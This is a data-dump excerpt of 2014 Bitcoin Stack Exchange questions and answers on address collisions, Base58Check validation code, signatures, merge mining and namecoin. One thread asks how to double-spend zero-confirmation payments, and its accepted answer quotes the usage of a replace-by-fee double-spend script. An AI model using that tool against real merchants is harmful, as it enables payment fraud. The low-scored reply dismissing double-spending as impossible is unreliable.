  <row Id="32331" PostTypeId="1" AcceptedAnswerId="32333" CreationDate="2014-11-05T00:48:15.723" Score="2" ViewCount="4136" Body="&lt;p&gt;I understand that a bitcoin address is a combination or more than one kind of encryption and entropy, and I also understand how improbable it is that the same address will get generated at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the private keys will be different, this doesn't alleviate my concerns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If person A sends a payer their public address, how will the network know not to send it to the person A and person B's address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I am just having a lapse in judgement here, and that the public key must be derived from the private key and hash160 and therefore a public address cannot be generated without the same private key&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2017-12-20T23:12:12.890" Title="two people with same PUBLIC address, how will people/network know how to deliver bitcoin" Tags="|transactions|private-key|public-key|hash|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32332" PostTypeId="1" CreationDate="2014-11-05T01:37:16.143" Score="0" ViewCount="1355" Body="&lt;p&gt;I am unable to resolve this. I have updated Java but it appears to require a previous version. Thank you. &lt;/p&gt;&#xA;" OwnerUserId="20949" LastEditorUserId="-1" LastEditDate="2015-01-28T19:08:02.380" LastActivityDate="2015-01-28T19:08:02.380" Title="To open “MultiBit” you need to install the legacy Java SE 6 runtime" Tags="|multibit|mac|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32333" PostTypeId="2" ParentId="32331" CreationDate="2014-11-05T03:09:15.833" Score="4" Body="&lt;p&gt;The network can't tell the difference.  In the astronomically unlikely event that two different people have private keys whose public keys hash to the same public address, then both of them are able to spend any coins sent to that address, first-come-first-served.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate how unlikely this is: suppose every satoshi of every bitcoin ever to be generated was sent to its own unique private keys.  The probability that among those keys there could be two that would correspond to the same address is roughly one in 100 quintillion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the probability is only &quot;astronomically unlikely&quot; if the private keys are truly randomly generated.  If they are not, then there can be better chance of someone else being able to guess the private key.  Anyone who does so can spend coins sent to that address.  That was what happened with &lt;a href=&quot;https://bitcoin.org/en/alert/2013-08-11-android&quot; rel=&quot;nofollow&quot;&gt;this vulnerability&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fun activity, analogous to &quot;leave a dollar bill on the street and see who picks it up&quot;, is to make yourself a private key that is a very small integer.  Then send some trivial sum of money to the corresponding address.  There seem to be a number of people watching such addresses so you can see who manages to grab it first (by spending it to a more secure address they control).&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-11-07T23:25:47.470" LastActivityDate="2014-11-07T23:25:47.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32334" PostTypeId="2" ParentId="32331" CreationDate="2014-11-05T03:27:40.940" Score="0" Body="&lt;p&gt;A public key corresponds to a private key, which is just a very large integer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the network is concerned, anyone who has the private key for funds at an address can spend them. The only proof of ownership is that because of how public key cryptography works, &lt;code&gt;private key ==&amp;gt; public key/public address&lt;/code&gt; is fine, the reverse cannot be calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hold the private key for funds at an address and by some random fluke a client gives out the same private key, you can spend the coins. Assuming random numbers though, this will never happen&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-11-05T03:27:40.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32335" PostTypeId="1" AcceptedAnswerId="32347" CreationDate="2014-11-05T04:28:42.550" Score="2" ViewCount="1243" Body="&lt;p&gt;I heard there is a desktop app today that 'easily double spends 0-conf tx'. Which is it? Is anyone working on a mobile version of this app?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-11-05T17:01:18.440" Title="What's the easiest way to someone to double-spend 0-confirmation transactions?" Tags="|doublespend|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32336" PostTypeId="2" ParentId="32335" CreationDate="2014-11-05T06:45:53.553" Score="-2" Body="&lt;p&gt;Nonsense. You need the private key to send coins from an address, only the owner of that key can attempt to spend the same coins twice.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-05T06:45:53.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32337" PostTypeId="2" ParentId="32335" CreationDate="2014-11-05T06:46:09.433" Score="1" Body="&lt;p&gt;I strongly doubt if this would work at all. You say you &quot;have heard&quot;, just rumours or did you ever see such a thing in action?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, quite some people benefit from spreading FUD like this about Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many merchants and point of sale Bitcoin acceptants use zero confirmation payments, I've never ever seen or heard of a single case of double-spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess what such a hypothetical app would do, is send a payment to the node of the receiver, send a conflicting payment to a lot of other nodes almost at the same time, and hope the 2nd one ends up in the blockchain in favor of the 1st.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very easily taken care of with various 'payment probability' algorithms, e.g. by checking on several other nodes throughout the Bitcoin network if a conflicting tx appears. If not, then within 2-3 sec the payment propagation will be virtually 100% and any conflicting tx (to perform the double-spend) won't stand a chance. At least not through default nodes, which is like &gt;95% of the network and probably &gt;99.999% of the miners (where it counts).&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-11-05T06:46:09.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32338" PostTypeId="2" ParentId="32318" CreationDate="2014-11-05T06:51:27.670" Score="0" Body="&lt;p&gt;You would have to monitor the block chain yourself, like you say I think it would count as abuse if you poll blockchain.info every single second of every day. The block chain is just a database so if you have programming skills or are willing to pay someone with the skills it wouldn't be too difficult. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably tools out there already that could do this such as libbitcoin, bitcoinj, etc. I'm not sure. You could even modify the official bitcoind client to log every transaction it receives to a database/textfile/whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI the listtransactions RPC call will only list your own transactions, not everybodys.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-05T06:51:27.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32339" PostTypeId="2" ParentId="32311" CreationDate="2014-11-05T06:56:45.030" Score="0" Body="&lt;p&gt;There are services emerging to combat the volatility of Bitcoin. Bitreserve is one. But to be honest if you are worried about the volatility, just keep your funds in your native currency and buy bitcoin when you need bitcoin since there are plenty of places you can buy bitcoin almost instantly.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-05T06:56:45.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32340" PostTypeId="1" CreationDate="2014-11-05T08:52:57.030" Score="2" ViewCount="57" Body="&lt;p&gt;I've read the &lt;a href=&quot;http://spar.isi.jhu.edu/~mgreen/ZerocoinOakland.pdf&quot; rel=&quot;nofollow&quot;&gt;Zerocoin&lt;/a&gt; paper by Miers et al. and understood most of the concepts. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I get a zerocoin for some denomination in bitcoin? e.g. If I spend (d bitcoins + txn fee) in a bitcoin txn and get a (c, skc) pair, then is this mint txn accepted into the blockchain just like a normal bitcoin txn? &lt;/li&gt;&#xA;&lt;li&gt;What does it mean when they say the currency is placed in escrow?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="19182" LastEditorUserId="2306" LastEditDate="2014-11-05T15:32:02.050" LastActivityDate="2014-11-05T23:58:15.603" Title="Getting a Zerocoin for d bitcoins" Tags="|zerocoin|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32341" PostTypeId="2" ParentId="32328" CreationDate="2014-11-05T12:15:00.827" Score="1" Body="&lt;p&gt;This is the proverbial veggie burger with bacon. There are plenty of people who like veggie burgers. And there are plenty of people who like bacon. But there are very few people who like both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a cryptocurrency that's not run by a government. But it also has a central authority that can inflate it and regulate it at their whim. There are people who like these revolutionary cryptocurrency systems that are not run by governments. And there are people who fear deflation and like  currencies that can inflated as deemed suitable by a responsible steward. There are just very, very few people who like both of these things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to answer this very hard question -- &quot;Why would I want to use a store of value that lets you tax my stored value as you wish?&quot; And &quot;Why should I use a currency that's not backed by a government and not subject to political controls when I can use currencies that are?&quot;&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-11-05T12:15:00.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32342" PostTypeId="2" ParentId="32328" CreationDate="2014-11-05T12:16:32.347" Score="1" Body="&lt;p&gt;Technically, what you describe would work if you throw in a few extra bits such as authentication of your text file data to ensure that clients agree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bigger problem could be to convince people to trust you with setting monetary policy. I think that may be an even worse deal to most users than allowing a central bank to do so. Hence my guess is that the sort of Bitcoin alternative that you describe might appeal to far fewer potential users than you might have expected simply from the idea that you promise to ensure a less volatile exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about making monetary policy automatic, aiming for stability in either exchange rate or value? This is a route I would find more convincing, because it would reduce the role of the central authority you introduce to the potentially verifiable job of accurately reporting either the current exchange rate or inflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A yet better way would be to decentralize even that. Unfortunately, I have not yet succeeded (and I've been trying!) to design a system where e.g. a vote can determine monetary policy (or inputs to an algorithm for it, such as the current exchange rate) because I cannot get the incentives quite right to avoid having rational actors potentially lie on a scale that might rig the vote.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-11-05T12:16:32.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32344" PostTypeId="5" CreationDate="2014-11-05T15:40:00.013" Score="0" Body="&lt;p&gt;mSIGNA is a multisignature wallet for Bitcoin. &lt;a href=&quot;https://ciphrex.com/products/&quot; rel=&quot;nofollow&quot;&gt;Product Website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-05T15:40:00.013" LastActivityDate="2014-11-05T15:40:00.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32345" PostTypeId="4" CreationDate="2014-11-05T15:40:00.013" Score="0" Body="mSIGNA is a multisignature wallet for Bitcoin." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-05T15:40:00.013" LastActivityDate="2014-11-05T15:40:00.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32346" PostTypeId="1" AcceptedAnswerId="32384" CreationDate="2014-11-05T16:36:56.123" Score="0" ViewCount="339" Body="&lt;p&gt;I'm trying to produce a SHA256 altcoin which is merge mined with Bitcoin.  I'd like to use some recent code, rather than base in on a 0.8.* or earlier codebase.  I've found this source:&#xA;&lt;a href=&quot;https://github.com/sidhujag/bitcoin-0.9.2-Merge-Mining-fork&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sidhujag/bitcoin-0.9.2-Merge-Mining-fork&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's based on Devcoin, so it sends some of the mining proceeds to other parties.  I'm finding it very difficult to extract this feature, while keeping the merged mining.  For instance, in the miner.cpp file I've modified the CreateNewBlock function to remove the &quot;Prepare to pay beneficiaries&quot; section, but when I do so the compiled code segfaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone who can help with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I've run the node with GDB, this is the error and backtrace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.&#xA;[Switching to Thread 0x7fffd49e4700 (LWP 2385)]&#xA;0x000055555562ca50 in CreateNewBlock (scriptPubKeyIn=...)&#xA;    at miner.cpp:375&#xA;375         pblock-&amp;gt;vtx[0].vout[0].nValue = GetBlockValue(pindexPrev-&amp;gt;nHeight+1, nFees);&#xA;&#xA;(gdb) backtrace&#xA;#0  0x000055555562ca50 in CreateNewBlock (scriptPubKeyIn=...)&#xA;    at miner.cpp:375&#xA;#1  0x000055555562dc4f in CreateNewBlockWithKey (reservekey=...)&#xA;    at miner.cpp:513&#xA;#2  0x000055555562de51 in GreedycoinMiner (pwallet=&#xA;    0x555556502c70) at miner.cpp:597&#xA;#3  0x00007ffff7547a4a in boost::(anonymous namespace)::thread_proxy (param=&amp;lt;optimized out&amp;gt;)&#xA;    at libs/thread/src/pthread/thread.cpp:164&#xA;#4  0x00007ffff5cc2182 in start_thread (arg=0x7fffd49e4700)&#xA;    at pthread_create.c:312&#xA;#5  0x00007ffff59ef30d in clone ()&#xA;    at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9344" LastEditorUserId="9344" LastEditDate="2014-11-05T19:50:23.517" LastActivityDate="2014-11-08T11:38:58.343" Title="How can I remove the charity features in my Devcoin clone?" Tags="|merged-mining|c++|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32347" PostTypeId="2" ParentId="32335" CreationDate="2014-11-05T17:01:18.440" Score="4" Body="&lt;p&gt;Peter Todd wrote [Replace-By-Fee Tools](&lt;a href=&quot;https://github.com/petertodd/replace-by-fee-tools&quot;&gt;https://github.com/petertodd/replace-by-fee-tools&lt;/a&gt;&#xA;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Basic usage:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;./double-spend.py &amp;lt;address&amp;gt; &amp;lt;amount&amp;gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Creates two transactions in succession. The first pays the specified&#xA;  amount to the specified address. The second double-spends that&#xA;  transaction with a transaction with higher fees, paying only the&#xA;  change address. In addition you can optionally specify that the first&#xA;  transaction additional OP-RETURN, multisig, and &quot;blacklisted&quot; address&#xA;  outputs. Some miners won't accept transactions with these output&#xA;  types; those miners will accept the second double-spend transaction,&#xA;  helping you achieve a succesful double-spend.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-11-05T17:01:18.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32348" PostTypeId="2" ParentId="4745" CreationDate="2014-11-05T17:04:42.357" Score="2" Body="&lt;p&gt;Armory is a client for advanced users that has support for multisignature &#xA;&lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinarmory.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-11-05T17:04:42.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32349" PostTypeId="1" CreationDate="2014-11-05T23:28:18.527" Score="6" ViewCount="164" Body="&lt;p&gt;I have a product that is in development and I want to allow people to buy something like bonds to raise money for the project. I was thinking to develop my own protocol for defining these bond certificates but first I want to check if Bitcoin provides something for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the requirements are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bonds are sold sequentially and have serial numbers. Each subsequent bond is a little bit (a fraction of a penny) more expensive than the previous bond sold.&lt;/li&gt;&#xA;&lt;li&gt;Bonds have to be splitable just like share splits.&lt;/li&gt;&#xA;&lt;li&gt;People should be able to buy anonymously and receive a bond certificate without providing an email, or any identifiable addresses.&lt;/li&gt;&#xA;&lt;li&gt;Should be able to validate bond certificates with a public key.&lt;/li&gt;&#xA;&lt;li&gt;At the bond's maturity time, the shareholder (bond owner) should be able to claim that they own in with a private key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there any Bitcoin features to help with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20962" LastEditorUserId="21087" LastEditDate="2015-11-28T04:50:47.280" LastActivityDate="2016-07-25T07:27:41.713" Title="Using Bitcoin for Bond Certificates" Tags="|contracts|colored-coins|stocks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32352" PostTypeId="2" ParentId="32332" CreationDate="2014-11-06T00:00:37.543" Score="0" Body="&lt;p&gt;No it works with the latest version, you need to uninstall java completely and install again. &lt;/p&gt;&#xA;" OwnerUserId="20963" LastActivityDate="2014-11-06T00:00:37.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32353" PostTypeId="1" CreationDate="2014-11-06T03:22:51.073" Score="13" ViewCount="12352" Body="&lt;p&gt;I'm working on a Bitcoin ATM. We want to detect addresses that are entered incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a checksum on Bitcoin addresses - but how can we check it?&lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="5406" LastEditDate="2017-07-13T17:07:46.893" LastActivityDate="2017-09-15T18:02:32.230" Title="How do I check the checksum of a Bitcoin address?" Tags="|address-format|checksum|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32356" PostTypeId="1" AcceptedAnswerId="32449" CreationDate="2014-11-06T14:40:50.737" Score="4" ViewCount="9223" Body="&lt;p&gt;I downloaded coin Miner from &lt;a href=&quot;http://Cointellect.com&quot; rel=&quot;nofollow&quot;&gt;Cointellect.com&lt;/a&gt; on my PC and I started mining.&#xA;I have some questions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is the software a scam?&lt;/li&gt;&#xA;&lt;li&gt;Has anyone gained real money from this software?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I read forums, some people talk about scam and trojan viruses installed on their machines; others show money gained.&lt;/p&gt;&#xA;" OwnerUserId="20972" LastEditorUserId="2306" LastEditDate="2014-11-08T21:45:06.657" LastActivityDate="2014-11-15T10:12:19.190" Title="Is Cointellect a scam?" Tags="|fraud|" AnswerCount="5" CommentCount="3" ClosedDate="2014-11-12T10:27:57.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="32357" PostTypeId="1" CreationDate="2014-11-06T15:05:45.963" Score="2" ViewCount="6106" Body="&lt;p&gt;Of course, there are lots of ASICs out there with exponentially more hashing power. But I'm not yet ready to invest and dedicate to one coin. Is there a mining solution in which one can set up an external GPU enclosure and use those to mine? If so, how would one go about setting it up? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20973" LastEditorUserId="5406" LastEditDate="2016-02-21T16:00:24.280" LastActivityDate="2016-02-21T16:00:24.280" Title="External GPU for mining" Tags="|gpu-mining|mining-setup|" AnswerCount="1" CommentCount="2" ClosedDate="2015-01-06T04:41:34.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="32358" PostTypeId="2" ParentId="11769" CreationDate="2014-11-06T19:52:18.023" Score="1" Body="&lt;p&gt;Maybe a little bit late, but for everybody who is interested, the easy command to check if a name exists is simply:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; ./namecoind name_show d/&amp;lt;name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will return some informations should the name already be registered, or it will return &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-4,&quot;message&quot;:&quot;failed to read from name DB&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if the name doesn't exist.&lt;/p&gt;&#xA;" OwnerUserId="20975" LastActivityDate="2014-11-06T19:52:18.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32359" PostTypeId="2" ParentId="20555" CreationDate="2014-11-06T22:14:45.540" Score="1" Body="&lt;p&gt;I have found that many people on localbitcoin.com don't just sell/buy bitcoins, but are also interested in exchanging altcoins. So you could check your local area at localbitcoin.com and with a little luck find a litecoin seller. (read the comments and terms on the user pages)&lt;/p&gt;&#xA;" OwnerUserId="20975" LastActivityDate="2014-11-06T22:14:45.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32360" PostTypeId="2" ParentId="30605" CreationDate="2014-11-06T22:27:58.673" Score="2" Body="&lt;p&gt;Easy answer: No, you can't register a *.com domain with namecoin.&#xA;That would be like asking if you can print dollars with bitcoin. Nope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you can do is start your own namespace with namecoin.&#xA;The namespace d/ stands for bitdomains.&#xA;So if you wanted to register a bitdomain named &quot;bitdomain.bit&quot; you would register &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d/bitdomain  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Notice that you don't put a *.bit at the end of the name when registering a domain, because it's the namespace you put in front of the domain name that defines what the domain stands for, in the case of d/ it stands for .bit TLD)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you are not forced to use the d/ domain. In fact you can start your own namespace, for example whatever/ and use it to register your own domains for whatever reason.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;whatever/dontask&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20975" LastActivityDate="2014-11-06T22:27:58.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32362" PostTypeId="2" ParentId="1255" CreationDate="2014-11-07T00:11:55.503" Score="6" Body="&lt;p&gt;Here, a nice explanation (even if the post is old) &lt;a href=&quot;http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19577" LastActivityDate="2014-11-07T00:11:55.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32363" PostTypeId="2" ParentId="32353" CreationDate="2014-11-07T02:31:01.640" Score="15" Body="&lt;p&gt;The way Bitcoin checks a public address is using what is called &lt;strong&gt;Base58Check&lt;/strong&gt;. While the &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Creating_a_Base58Check_string&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Wiki covers Base58Check&lt;/a&gt;, I'll outline how it works in both abstract and technical terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lhWd6.png&quot; alt=&quot;Diagram of Base58Check&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole idea of Base58Check is to prevent invalid addresses. This is done by adding digits to the start (00) and end of the Base58 value (4 bytes of double SHA256 hash). &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add &lt;code&gt;00&lt;/code&gt; to the start of Base58 value ie &lt;code&gt;00&lt;/code&gt; + &lt;code&gt;BASE58&lt;/code&gt; ==&gt; &lt;code&gt;00BASE58&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Checksum = 1st 8 digits from &lt;code&gt;SHA256(SHA256(00BASE58))&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BASE58Check = (00)(BASE58_SHA256RIPEMD160_HEXADECIMAL_VALUE)(CHECKSUM)&lt;/code&gt; (parenthesis for visualisation only, all other data is correct in size, ie CHECKSUM = 8 chars)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to visualize all this is with &lt;a href=&quot;https://gobittest.appspot.com/Address&quot; rel=&quot;noreferrer&quot;&gt;The Piachu's App&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-11-07T02:31:01.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32364" PostTypeId="2" ParentId="32353" CreationDate="2014-11-07T03:03:33.703" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://rosettacode.org/wiki/Bitcoin/address_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rosetta Code&lt;/a&gt; has several example implementations in multiple languages.&lt;/p&gt;&#xA;&lt;h3&gt;Python 2 &amp;amp; 3&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;import codecs&#xA;from hashlib import sha256&#xA;&#xA;digits58 = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'&#xA;&#xA;def to_bytes(n, length):&#xA;    s = '%x' % n&#xA;    s = s.rjust(length*2, '0')&#xA;    s = codecs.decode(s.encode(&amp;quot;UTF-8&amp;quot;), 'hex_codec')&#xA;    return s&#xA;&#xA;def decode_base58(bc, length):&#xA;    n = 0&#xA;    for char in bc:&#xA;        n = n * 58 + digits58.index(char)&#xA;    return to_bytes(n, length)&#xA;&#xA;def check_bc(bc):&#xA;    bcbytes = decode_base58(bc, 25)&#xA;&#xA;    if bcbytes[0] not in [0x00, 0x05]:&#xA;        return False&#xA;&#xA;    return bcbytes[-4:] == sha256(sha256(bcbytes[:-4]).digest()).digest()[:4]&#xA;    &#xA;if __name__ == '__main__':&#xA;    print(check_bc('1111111111111111111114oLvT2'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-09-15T18:02:32.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32365" PostTypeId="1" AcceptedAnswerId="32366" CreationDate="2014-11-07T04:37:37.450" Score="3" ViewCount="585" Body="&lt;p&gt;Suppose I have two inputs belonging to the same address. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do I need to provide a signature script for each input that proves that I own it? Wouldn't that waste space? Also, in the standard client, are the signatures exactly the same, or are they two different but valid signatures?&lt;/li&gt;&#xA;&lt;li&gt;Or can I prove that I own that address just once?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-11-10T15:26:45.900" Title="If I am spending multiple inputs from the same address, must I provide a signature for each input?" Tags="|transactions|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32366" PostTypeId="2" ParentId="32365" CreationDate="2014-11-07T05:41:12.203" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I need to provide a signature script for each input that proves that I own it? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only signing and checking signatures once for each public key, assuming signed with SIGHASH_ALL, seems like it would be safe, but I don't think there's any such optimization in the bitcoin code. If something was signed with SIGHASH_SINGLE, though, then it wouldn't be okay to assume that the owner of the key approves of all other outputs too.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wouldn't that waste space?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, and signatures are the largest single component of a bitcoin transaction, so it's a non-negligible space too. At the same time, though, spending from two UTXOs that were sent to the same address probably isn't the most common type of transaction.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, in the standard client, are the signatures exactly the same, or are they two different but valid signatures?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;code&gt;SignatureHash&lt;/code&gt; code, the input &lt;code&gt;scripSig&lt;/code&gt;s are all emptied and then only the one corresponding to the input that is being signed is filled with the previous scriptPubKey (for somewhat strange reasons). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Blank out other inputs' signatures&#xA;for (unsigned int i = 0; i &amp;lt; txTmp.vin.size(); i++)&#xA;    txTmp.vin[i].scriptSig = CScript();&#xA;txTmp.vin[nIn].scriptSig = scriptCode;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes it so that the hash that needs to be signed (the result of &lt;code&gt;SignatureHash&lt;/code&gt;) is different for each input. Thus, since different data is being signed, the signatures will most definitely be different. Even if the data being signed were the same, ECC signatures are non-deterministic (involving a random number) and so will not be the same from signing to signing. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: The long and short of it is that the double hash that needs to be signed is different for each input in the new transaction, so even if the same key pair is being used, a new signature must be calculated. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-11-10T15:26:45.900" LastActivityDate="2014-11-10T15:26:45.900" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
